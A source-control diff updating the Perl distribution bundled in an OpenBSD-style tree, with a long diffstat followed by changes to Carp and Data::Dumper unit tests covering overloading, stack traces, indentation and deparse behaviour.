-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/502400045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/ppport_h.PL19
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/soak600
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/HvNAME.t56
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/MY_CXT.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/SvPV.t120
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/SvREFCNT.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/Sv_set.t71
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/call.t107
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/cop.t110
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/exception.t67
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/format.t55
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/grok.t62
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/gv.t63
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/limits.t55
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/mPUSH.t62
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/magic.t120
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/memory.t52
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/mess.t284
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/misc.t157
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/newCONSTSUB.t59
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/newRV.t53
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/newSV_type.t52
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/newSVpv.t78
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/podtest.t83
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/ppphtest.t947
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/pv_tools.t76
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/pvs.t73
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/shared_pv.t52
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/snprintf.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/sprintf.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/strlfuncs.t65
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/sv_xpvf.t78
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/testutil.pl48
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/threads.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/uv.t61
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/variables.t107
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/warn.t78
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/typemap36
-rw-r--r--gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm4
-rw-r--r--gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t22
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t5
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t2
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod2
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t1
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t1
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t1
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs1
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs2
-rw-r--r--gnu/usr.bin/perl/dist/Filter-Simple/t/no.t13
-rw-r--r--gnu/usr.bin/perl/dist/IO/ChangeLog112
-rw-r--r--gnu/usr.bin/perl/dist/IO/Makefile.PL9
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/IO.t2
-rw-r--r--gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t19
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/io_dir.t10
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/io_file.t2
-rw-r--r--gnu/usr.bin/perl/dist/IO/t/io_leak.t37
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/io_unix.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/io_utf8.t2
-rw-r--r--gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod76
-rwxr-xr-xgnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t15
-rw-r--r--gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t6
-rw-r--r--gnu/usr.bin/perl/dist/Locale-Maketext/t/92_blacklist.t93
-rw-r--r--gnu/usr.bin/perl/dist/Locale-Maketext/t/93_whitelist.t96
-rw-r--r--gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST2
-rw-r--r--gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL7
-rw-r--r--gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies2
-rwxr-xr-xgnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t8
-rw-r--r--gnu/usr.bin/perl/dist/Module-CoreList/t/maintainer.t30
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/Changes131
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/t/000_load.t16
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/t/001_new.t73
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/t/010_pingecho.t19
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t13
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t13
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t34
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t20
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t31
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t1
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t13
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/MANIFEST29
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/META.json55
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/META.yml30
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/t/cwd.t17
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/t/cwd_enoent.t52
-rwxr-xr-xgnu/usr.bin/perl/dist/Safe/t/safe1.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Safe/t/safe3.t2
-rw-r--r--gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/Makefile.PL87
-rw-r--r--gnu/usr.bin/perl/dist/Storable/README19
-rw-r--r--gnu/usr.bin/perl/dist/Storable/Storable.pm.PL35
-rw-r--r--gnu/usr.bin/perl/dist/Storable/__Storable__.pm1430
-rw-r--r--gnu/usr.bin/perl/dist/Storable/hints/linux.pl5
-rw-r--r--gnu/usr.bin/perl/dist/Storable/stacksize232
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc261
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.t22
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/attach_singleton.t7
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/blessed.t223
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/compat01.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/dclone.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/destroy.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/downgrade.t6
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/file_magic.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/flags.t103
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/forgive.t10
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/freeze.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/huge.t104
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/hugeids.t372
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/interwork56.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/leaks.t15
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/lock.t6
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/malice.t24
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/overload.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/recurse.t258
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/regexp.t127
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/restrict.t9
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/retrieve.t43
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/st-dump.pl2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/store.t43
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/testlib.pl12
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/tied.t4
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/tied_hook.t3
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/tied_items.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/tied_reify.t36
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/utf8hash.t1
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/weak.t4
-rw-r--r--gnu/usr.bin/perl/dist/Term-ReadLine/t/ReadLine-STDERR.t49
-rwxr-xr-xgnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t7
-rw-r--r--gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm46
-rwxr-xr-xgnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t3
-rw-r--r--gnu/usr.bin/perl/dist/Thread-Semaphore/t/06_timed.t76
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/05_size.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t8
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t11
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t6
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t6
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/Changes258
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/Makefile.PL55
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.pm635
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.xs925
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/mkheader419
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/fcdc.t138
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/form.t84
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/func.t386
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/illegal.t85
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/norm.t145
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/null.t100
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial1.t120
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial2.t116
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/proto.t99
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/split.t147
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/test.t168
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/tie.t82
-rw-r--r--gnu/usr.bin/perl/dist/base/t/base-open-chunk.t2
-rw-r--r--gnu/usr.bin/perl/dist/base/t/base-open-line.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/base/t/base.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/base/t/fields-5_6_0.t4
-rwxr-xr-xgnu/usr.bin/perl/dist/base/t/fields-5_8_0.t2
-rw-r--r--gnu/usr.bin/perl/dist/if/MANIFEST8
-rw-r--r--gnu/usr.bin/perl/dist/if/META.json43
-rw-r--r--gnu/usr.bin/perl/dist/if/META.yml23
-rw-r--r--gnu/usr.bin/perl/dist/lib/lib_pm.PL4
-rw-r--r--gnu/usr.bin/perl/dist/threads/t/kill3.t121
-rwxr-xr-xgnu/usr.bin/perl/dist/threads/t/problems.t52
-rw-r--r--gnu/usr.bin/perl/dist/threads/t/unique.t81
534 files changed, 32223 insertions, 563 deletions
diff --git a/gnu/usr.bin/perl/dist/Carp/t/Carp_overloadless.t b/gnu/usr.bin/perl/dist/Carp/t/Carp_overloadless.t
new file mode 100644
index 00000000000..f4bda044ee9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Carp/t/Carp_overloadless.t
@@ -0,0 +1,15 @@
+use warnings;
+#no warnings 'once';
+use Test::More tests => 1;
+
+use Carp;
+
+# test that enabling overload without loading overload.pm does not trigger infinite recursion
+
+my $p = "OverloadedInXS";
+*{$p."::(("} = sub{};
+*{$p.q!::(""!} = sub { Carp::cluck "<My Stringify>" };
+sub { Carp::longmess("longmess:") }->(bless {}, $p);
+ok(1);
+
+
diff --git a/gnu/usr.bin/perl/dist/Carp/t/broken_can.t b/gnu/usr.bin/perl/dist/Carp/t/broken_can.t
new file mode 100644
index 00000000000..c32fa1909df
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Carp/t/broken_can.t
@@ -0,0 +1,15 @@
+use Test::More tests => 1;
+
+# [perl #132910]
+
+package Foo;
+sub can { die }
+
+package main;
+
+use Carp;
+
+eval {
+ sub { confess-sins }->(bless[], Foo);
+};
+like $@, qr/^-sins at /;
diff --git a/gnu/usr.bin/perl/dist/Carp/t/broken_univ_can.t b/gnu/usr.bin/perl/dist/Carp/t/broken_univ_can.t
new file mode 100644
index 00000000000..0ec19d7aa31
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Carp/t/broken_univ_can.t
@@ -0,0 +1,24 @@
+# [perl #132910]
+# This mock-up breaks Test::More. Don’t use Test::More.
+
+sub UNIVERSAL::can { die; }
+
+# Carp depends on this to detect the override:
+BEGIN { $UNIVERSAL::can::VERSION = 0xbaff1ed_bee; }
+
+use Carp;
+
+eval {
+ sub { confess-sins }->(bless[], Foo);
+};
+print "1..1\n";
+if ($@ !~ qr/^-sins at /) {
+ print "not ok 1\n";
+ print "# Expected -sins at blah blah blah...\n";
+ print "# Instead, we got:\n";
+ $@ =~ s/^/# /mg;
+ print $@;
+}
+else {
+ print "ok 1\n";
+}
diff --git a/gnu/usr.bin/perl/dist/Carp/t/stack_after_err.t b/gnu/usr.bin/perl/dist/Carp/t/stack_after_err.t
new file mode 100644
index 00000000000..57dbc233d13
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Carp/t/stack_after_err.t
@@ -0,0 +1,69 @@
+use strict;
+use warnings;
+use Config;
+use IPC::Open3 1.0103 qw(open3);
+
+BEGIN {
+ if ($^O eq 'VMS') {
+ print "1..0 # IPC::Open3 needs porting\n";
+ exit;
+ }
+}
+
+my @tests=(
+ # Make sure we don’t try to load modules on demand in the presence of over-
+ # loaded args. If there has been a syntax error, they won’t load.
+ [ 'Carp does not try to load modules on demand for overloaded args',
+ "", qr/Looks lark.*o=ARRAY.* CODE/s,
+ ],
+ # Run the test also in the presence of
+ # a) A UNIVERSAL::can module
+ # b) A UNIVERSAL::isa module
+ # c) Both
+ # since they follow slightly different code paths on old pre-5.10.1 perls.
+ [ 'StrVal fallback in the presence of UNIVERSAL::isa',
+ 'BEGIN { $UNIVERSAL::isa::VERSION = 1 }',
+ qr/Looks lark.*o=ARRAY.* CODE/s,
+ ],
+ [ 'StrVal fallback in the presence of UNIVERSAL::can',
+ 'BEGIN { $UNIVERSAL::can::VERSION = 1 }',
+ qr/Looks lark.*o=ARRAY.* CODE/s,
+ ],
+ [ 'StrVal fallback in the presence of UNIVERSAL::can/isa',
+ 'BEGIN { $UNIVERSAL::can::VERSION = $UNIVERSAL::isa::VERSION = 1 }',
+ qr/Looks lark.*o=ARRAY.* CODE/s,
+ ],
+);
+
+my ($test_num)= @ARGV;
+if (!$test_num) {
+ eval sprintf "use Test::More tests => %d; 1", 0+@tests
+ or die "Failed to use Test::More: $@";
+ local $ENV{PERL5LIB} = join ($Config::Config{path_sep}, @INC);
+ foreach my $i (1 .. @tests) {
+ my($w, $r);
+ my $pid = open3($w, $r, undef, $^X, $0, $i);
+ close $w;
+ my $output = do{ local $/; <$r> };
+ waitpid($pid, 0);
+ like($output, $tests[$i-1][2], $tests[$i-1][0]);
+ }
+} else {
+ eval $tests[$test_num-1][1] . <<'END_OF_TEST_CODE'
+ no strict;
+ no warnings;
+ use Carp;
+ sub foom {
+ Carp::confess("Looks lark we got a error: $_[0]")
+ }
+ BEGIN {
+ *{"o::()"} = sub {};
+ *{'o::(""'} = sub {"hay"};
+ $o::OVERLOAD{dummy}++; # perls before 5.18 need this
+ *{"CODE::()"} = sub {};
+ $SIG{__DIE__} = sub { foom (@_, bless([], o), sub {}) }
+ }
+ $a +
+END_OF_TEST_CODE
+ or die $@;
+}
diff --git a/gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t b/gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t
index 0ac66d89e03..744d0d25849 100644
--- a/gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t
+++ b/gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t
@@ -1,25 +1,25 @@
BEGIN { print "1..5\n"; }
our $has_utf8; BEGIN { $has_utf8 = exists($::{"utf8::"}); }
-our $has_overload; BEGIN { $has_overload = exists($::{"overload::"}); }
our $has_B; BEGIN { $has_B = exists($::{"B::"}); }
+our $has_UNIVERSAL_isa; BEGIN { $has_UNIVERSAL_isa = exists($UNIVERSAL::{"isa::"}); }
use Carp;
sub { sub { Carp::longmess("x") }->() }->(\1, "\x{2603}", qr/\x{2603}/);
-print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1\n";
-print !(exists($::{"overload::"}) xor $has_overload) ? "" : "not ", "ok 2\n";
-print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 3\n";
+print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1 # used utf8\n";
+print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 2 # used B\n";
+print !(exists($UNIVERSAL::{"isa::"}) xor $has_UNIVERSAL_isa) ? "" : "not ", "ok 3 # used UNIVERSAL::isa\n";
# Autovivify $::{"overload::"}
() = \$::{"overload::"};
() = \$::{"utf8::"};
eval { sub { Carp::longmess() }->(\1) };
-print $@ eq '' ? "ok 4\n" : "not ok 4\n# $@";
+print $@ eq '' ? "ok 4 # longmess check1\n" : "not ok 4 # longmess check1\n# $@";
# overload:: glob without hash
undef *{"overload::"};
eval { sub { Carp::longmess() }->(\1) };
-print $@ eq '' ? "ok 5\n" : "not ok 5\n# $@";
+print $@ eq '' ? "ok 5 # longmess check2\n" : "not ok 5 # longmess check2\n# $@";
1;
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t
index a440b0a1a41..5db82dad328 100755
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t
@@ -12,7 +12,7 @@ BEGIN {
}
use strict;
-use Test::More tests => 15;
+use Test::More tests => 24;
use Data::Dumper;
{
@@ -144,4 +144,39 @@ SKIP: {
&$tests;
}
+{ # https://rt.perl.org/Ticket/Display.html?id=128524
+ my $want;
+ my $runtime = "runtime";
+ my $requires = "requires";
+ utf8::upgrade(my $uruntime = $runtime);
+ utf8::upgrade(my $urequires = $requires);
+ for my $run ($runtime, $uruntime) {
+ for my $req ($requires, $urequires) {
+ my $data = { $run => { $req => { foo => "bar" } } };
+ local $Data::Dumper::Useperl = 1;
+ # we want them all the same
+ defined $want or $want = Dumper($data);
+ is(Dumper( $data ), $want, "utf-8 indents");
+ SKIP:
+ {
+ defined &Data::Dumper::Dumpxs
+ or skip "No XS available", 1;
+ local $Data::Dumper::Useperl = 0;
+ is(Dumper( $data ), $want, "utf8-indents");
+ }
+ }
+ }
+}
+
+# RT#130487 - stack management bug in XS deparse
+SKIP: {
+ skip "No XS available", 1 if !defined &Data::Dumper::Dumpxs;
+ sub rt130487_args { 0 + @_ }
+ my $code = sub {};
+ local $Data::Dumper::Useperl = 0;
+ local $Data::Dumper::Deparse = 1;
+ my $got = rt130487_args( Dumper($code) );
+ is($got, 1, "stack management in XS deparse works, rt 130487");
+}
+
# EOF
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t
index c281fcea021..cddde8cb6e1 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t
@@ -15,7 +15,7 @@ BEGIN {
use strict;
use Data::Dumper;
-use Test::More tests => 8;
+use Test::More tests => 16;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -24,7 +24,9 @@ use Testing qw( _dumptostr );
note("\$Data::Dumper::Deparse and Deparse()");
-{
+for my $useperl (0, 1) {
+ local $Data::Dumper::Useperl = $useperl;
+
my ($obj, %dumps, $deparse, $starting);
use strict;
my $struct = { foo => "bar\nbaz", quux => sub { "fleem" } };
@@ -46,11 +48,11 @@ note("\$Data::Dumper::Deparse and Deparse()");
$dumps{'objzero'} = _dumptostr($obj);
is($dumps{'noprev'}, $dumps{'dddzero'},
- "No previous setting and \$Data::Dumper::Deparse = 0 are equivalent");
+ "No previous setting and \$Data::Dumper::Deparse = 0 are equivalent (useperl=$useperl)");
is($dumps{'noprev'}, $dumps{'objempty'},
- "No previous setting and Deparse() are equivalent");
+ "No previous setting and Deparse() are equivalent (useperl=$useperl)");
is($dumps{'noprev'}, $dumps{'objzero'},
- "No previous setting and Deparse(0) are equivalent");
+ "No previous setting and Deparse(0) are equivalent (useperl=$useperl)");
local $Data::Dumper::Deparse = 1;
$obj = Data::Dumper->new( [ $struct ] );
@@ -62,19 +64,19 @@ note("\$Data::Dumper::Deparse and Deparse()");
$dumps{'objone'} = _dumptostr($obj);
is($dumps{'dddtrue'}, $dumps{'objone'},
- "\$Data::Dumper::Deparse = 1 and Deparse(1) are equivalent");
+ "\$Data::Dumper::Deparse = 1 and Deparse(1) are equivalent (useperl=$useperl)");
isnt($dumps{'dddzero'}, $dumps{'dddtrue'},
- "\$Data::Dumper::Deparse = 0 differs from \$Data::Dumper::Deparse = 1");
+ "\$Data::Dumper::Deparse = 0 differs from \$Data::Dumper::Deparse = 1 (useperl=$useperl)");
like($dumps{'dddzero'},
qr/quux.*?sub.*?DUMMY/s,
- "\$Data::Dumper::Deparse = 0 reports DUMMY instead of deparsing coderef");
+ "\$Data::Dumper::Deparse = 0 reports DUMMY instead of deparsing coderef (useperl=$useperl)");
unlike($dumps{'dddtrue'},
qr/quux.*?sub.*?DUMMY/s,
- "\$Data::Dumper::Deparse = 1 does not report DUMMY");
+ "\$Data::Dumper::Deparse = 1 does not report DUMMY (useperl=$useperl)");
like($dumps{'dddtrue'},
qr/quux.*?sub.*?use\sstrict.*?fleem/s,
- "\$Data::Dumper::Deparse = 1 deparses coderef");
+ "\$Data::Dumper::Deparse = 1 deparses coderef (useperl=$useperl)");
}
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t
index bcfa251f71e..2814f0b2153 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t
@@ -14,7 +14,7 @@ BEGIN {
use strict;
use Data::Dumper;
-use Test::More tests => 10;
+use Test::More tests => 9;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -35,10 +35,6 @@ $dumper->Indent();
$dumpstr{indent_no_arg} = _dumptostr($dumper);
$dumper = Data::Dumper->new([$hash]);
-$dumper->Indent(undef);
-$dumpstr{indent_undef} = _dumptostr($dumper);
-
-$dumper = Data::Dumper->new([$hash]);
$dumper->Indent(0);
$dumpstr{indent_0} = _dumptostr($dumper);
# $VAR1 = {'foo' => 42}; # no newline
@@ -59,8 +55,6 @@ $dumpstr{indent_2} = _dumptostr($dumper);
is($dumpstr{noindent}, $dumpstr{indent_no_arg},
"absence of Indent is same as Indent()");
-is($dumpstr{noindent}, $dumpstr{indent_undef},
- "absence of Indent is same as Indent(undef)");
isnt($dumpstr{noindent}, $dumpstr{indent_0},
"absence of Indent is different from Indent(0)");
isnt($dumpstr{indent_0}, $dumpstr{indent_1},
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t
index 2ce81acc022..54a89e6dbcc 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t
@@ -15,7 +15,7 @@ BEGIN {
use strict;
use Data::Dumper;
-use Test::More tests => 20;
+use Test::More tests => 18;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -77,16 +77,9 @@ note("Argument validation for new()");
$dumps{'noprev'} = _dumptostr($obj);
$obj = Data::Dumper->new([$a,$b]);
- $obj->Pad(undef);
- $dumps{'undef'} = _dumptostr($obj);
-
- $obj = Data::Dumper->new([$a,$b]);
$obj->Pad('');
$dumps{'emptystring'} = _dumptostr($obj);
- is($dumps{'noprev'}, $dumps{'undef'},
- "No setting for \$Data::Dumper::Pad and Pad(undef) give same result");
-
is($dumps{'noprev'}, $dumps{'emptystring'},
"No setting for \$Data::Dumper::Pad and Pad('') give same result");
@@ -114,16 +107,9 @@ note("Argument validation for new()");
$dumps{'noprev'} = _dumptostr($obj);
$obj = Data::Dumper->new([$a,$b]);
- $obj->Varname(undef);
- $dumps{'undef'} = _dumptostr($obj);
-
- $obj = Data::Dumper->new([$a,$b]);
$obj->Varname('');
$dumps{'emptystring'} = _dumptostr($obj);
- is($dumps{'noprev'}, $dumps{'undef'},
- "No setting for \$Data::Dumper::Varname and Varname(undef) give same result");
-
# Because Varname defaults to '$VAR', providing an empty argument to
# Varname produces a non-default result.
isnt($dumps{'noprev'}, $dumps{'emptystring'},
